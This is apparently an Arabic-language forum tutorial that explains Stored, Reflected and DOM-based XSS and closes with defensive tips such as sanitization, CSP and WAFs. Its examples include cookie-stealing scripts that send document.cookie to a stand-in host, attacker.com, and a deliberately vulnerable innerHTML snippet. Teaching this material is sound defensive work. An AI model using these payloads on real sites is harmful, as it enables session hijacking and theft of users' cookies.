أنواع هجمات XSS: Stored، Reflective، DOM-based

x32x01
  • بواسطة x32x01 ||
🛡️ في عالم الأمن السيبراني، هجمات Cross-Site Scripting (XSS) من أكثر الثغرات شيوعًا في تطبيقات الويب. الثغرة دي بتسمح للمهاجم بحقن سكريبتات خبيثة (عادةً JavaScript) في صفحات الويب اللي بيشوفها المستخدمين. البوست ده هيشرح الأنواع الرئيسية لـ XSS (Stored، Reflective، وDOM-based) مع أمثلة عملية ونصايح للحماية. 🚀

1. Stored XSS (Persistent XSS) 📝

Stored XSS هي هجوم يتم فيه حقن سكريبت خبيث في قاعدة بيانات التطبيق أو السيرفر، وبعدين السكريبت ده بيتعرض لكل المستخدمين اللي بيزوروا الصفحة المصابة.

إزاي بتحصل؟​

  • المهاجم بيدخّل كود خبيث في حقل إدخال (زي تعليق أو رسالة) بدون ما التطبيق ينقّي (Sanitize) المدخلات.
  • الكود بيتخزن في قاعدة البيانات ويتعرض للمستخدمين لما الصفحة بتتحمل.
  • النتيجة: السكريبت الخبيث بيتنفّذ في متصفح كل زائر.

مثال عملي​

  • السيناريو: موقع ويب بيسمح للمستخدمين بكتابة تعليقات على صفحة.
  • الهجوم: المهاجم بيدخّل الكود ده في حقل التعليق:
    HTML:
    <script>
      alert('مرحبًا بكم في موقع الهجمات الأمنية المشابهة!');
      window.location.href = 'https://attacker.com/steal?cookie=' + document.cookie;
      </script>
  • النتيجة: التعليق بيتخزن في قاعدة البيانات، ولما أي مستخدم يزور الصفحة، الكود بيتنفّذ في متصفحه:
    • بيظهر تنبيه (Alert) بـ "مرحبًا بكم...".
    • بيسرّب ملفات تعريف الارتباط (Cookies) للمهاجم عبر الرابط https://attacker.com/steal.
  • التأثير: سرقة بيانات حساسة زي Session Cookies أو تنفيذ إجراءات خبيثة.

2. Reflective XSS (Non-Persistent XSS) 🔗

Reflective XSS هي هجوم بيحصل لما التطبيق بيعرض مدخلات المستخدم مباشرة في الصفحة بدون تنقية، والكود الخبيث بيتنفّذ بس لما المستخدم ينقر على رابط معدّل.

إزاي بتحصل؟​

  • المهاجم بيبعت رابط معدّل (يحتوي على سكريبت خبيث) للضحية.
  • السكريبت بيظهر في استجابة السيرفر لما الضحية ينقر على الرابط.
  • الكود بيتنفّذ في متصفح الضحية مباشرة.

مثال عملي​

  • السيناريو: صفحة ويب زي
    Code:
    http://example.com/vulnerable.php?input=Hello
    بتعرض المدخلات بدون تنقية.
  • الهجوم: المهاجم بيبعت رابط زي:
    Code:
    http://example.com/vulnerable.php?input=<script>
      var stolenData = document.cookie;
      var xhr = new XMLHttpRequest();
      xhr.open("GET", "http://attacker.com/steal.php?data=" + stolenData, true);
      xhr.send();
      </script>
  • النتيجة: لما الضحية ينقر على الرابط، الكود بيتنفّذ في متصفحه:
    • بيسرّب Cookies الجلسة للمهاجم عبر http://attacker.com/steal.php.
    • المهاجم بيقدر ينتحل شخصية الضحية (Session Hijacking).
  • التأثير: سرقة بيانات الجلسة أو تنفيذ إجراءات باسم المستخدم.

3. DOM-based XSS 🌐

DOM-based XSS هي هجوم بيحصل في جانب العميل (Client-Side) لما السكريبتات في صفحة الويب بتعالج مدخلات المستخدم بدون تنقية، والكود الخبيث بيتنفّذ في الـ DOM (Document Object Model) داخل المتصفح.

إزاي بتحصل؟​

  • التطبيق بيستخدم JavaScript لتحديث الـ DOM بناءً على مدخلات المستخدم (زي قيم في URL).
  • المهاجم بيحقن كود خبيث في المدخلات (زي جزء من الـ URL أو Hash).
  • الكود بيتنفّذ في متصفح الضحية بدون ما يوصل للسيرفر.

مثال عملي​

  • السيناريو: صفحة ويب فيها الكود التالي:
    HTML:
    <div id="username"></div>
    JavaScript:
    var username = window.location.hash.substring(1);
      document.getElementById('username').innerHTML = username;
  • الهجوم: المهاجم بيبعت رابط زي:
    Code:
    http://example.com/page#<script>alert('XSS Attack')</script>
  • النتيجة: لما الضحية يفتح الرابط، الكود بيتنفّذ في متصفحه:
    • بيظهر تنبيه (Alert) بـ "XSS Attack".
    • ممكن المهاجم يحقن كود أخطر زي سرقة Cookies أو تعديل محتوى الصفحة.
  • التأثير: تنفيذ سكريبتات خبيثة في متصفح الضحية بدون تفاعل مع السيرفر.

الفرق بين Stored XSS وReflective XSS وDOM-based XSS ⚖️

المعيارStored XSSReflective XSSDOM-based XSS
التعريفحقن سكريبت خبيث يتخزن في السيرفر.حقن سكريبت في استجابة السيرفر عبر رابط.حقن سكريبت يتنفّذ في الـ DOM بمتصفح العميل.
مكان التنفيذالسيرفر (يتخزن في قاعدة البيانات).السيرفر (يعكس المدخلات في الاستجابة).متصفح العميل (في الـ DOM).
التأثيريؤثر على كل زوار الصفحة المصابة.يؤثر بس على من ينقر على الرابط.يؤثر على من يزور الرابط بدون تفاعل سيرفر.
النطاقحقول إدخال غير منقاة (زي التعليقات).روابط URL أو مدخلات تعكس مباشرة.سكريبتات JavaScript تعالج مدخلات غير منقاة.

نصايح للحماية من هجمات XSS 🔒

عشان تحمي تطبيقاتك من هجمات XSS:
  • نظّف المدخلات (Input Sanitization):
    • استخدم مكتبات زي DOMPurify لتنقية مدخلات المستخدم.
    • امنع تنفيذ السكريبتات باستخدام htmlspecialchars() في PHP أو ما يعادله في لغات أخرى.
  • فلترة الإخراج (Output Encoding):
    • شفّر البيانات قبل عرضها (مثل تحويل `<` إلى &lt;).
    • استخدم Content Security Policy (CSP) لتحديد مصادر السكريبتات المسموح بها.
  • امنع تحميل السكريبتات الخارجية:
    • حظر الـ URLs المشبوهة في Reflective وDOM-based XSS.
    • استخدم قائمة بيضاء (Whitelist) للمصادر الموثوقة.
  • قلّل الصلاحيات: شغّل التطبيق بصلاحيات محدودة مش Root أو Admin.
  • استخدم WAF: زي Cloudflare أو ModSecurity لتصفية الطلبات الخبيثة.
  • حدّث الأنظمة: ركّب آخر تحديثات الأمان للبرامج وقواعد البيانات.
  • اختبر تطبيقاتك:
    • استخدم أدوات زي Burp Suite أو OWASP ZAP للكشف عن ثغرات XSS.
    • جرب الثغرات في بيئات معزولة زي Hack The Box أو TryHackMe.
  • راقب السجلات: استخدم أدوات زي Splunk أو ELK Stack لرصد محاولات الهجوم.

خلّصنا.. ابدأ رحلتك في الأمن السيبراني! 🚀

هجمات Stored XSS، Reflective XSS، وDOM-based XSS من أخطر الثغرات اللي ممكن تؤدي لسرقة بيانات أو التحكم في جلسات المستخدمين. لو عايز تبقى هاكر أخلاقي، اتعلم إزاي تكتشف الثغرات دي وتحمي منها في بيئة آمنة زي Kali Linux. تابع منتديات اكتب كود لشروحات جديدة عن Cybersecurity وPenetration Testing كل أسبوع! 😊 لو استفدت، شارك البوست مع أصحابك، ولو عندك أسئلة، اكتبها في التعليقات! 🌟
 
التعديل الأخير:
المواضيع ذات الصلة
x32x01
  • x32x01
الردود
0
المشاهدات
810
x32x01
x32x01
x32x01
الردود
0
المشاهدات
543
x32x01
x32x01
x32x01
الردود
0
المشاهدات
628
x32x01
x32x01
x32x01
الردود
0
المشاهدات
302
x32x01
x32x01
x32x01
الردود
0
المشاهدات
1K
x32x01
x32x01
x32x01
الردود
0
المشاهدات
713
x32x01
x32x01
x32x01
الردود
0
المشاهدات
684
x32x01
x32x01
x32x01
الردود
0
المشاهدات
748
x32x01
x32x01
x32x01
الردود
2
المشاهدات
669
x32x01
x32x01
x32x01
الردود
6
المشاهدات
746
x32x01
x32x01
الدخول أو التسجيل السريع
نسيت كلمة مرورك؟
إحصائيات المنتدى
المواضيع
1,834
المشاركات
2,049
أعضاء أكتب كود
460
أخر عضو
jhghk
عودة
أعلى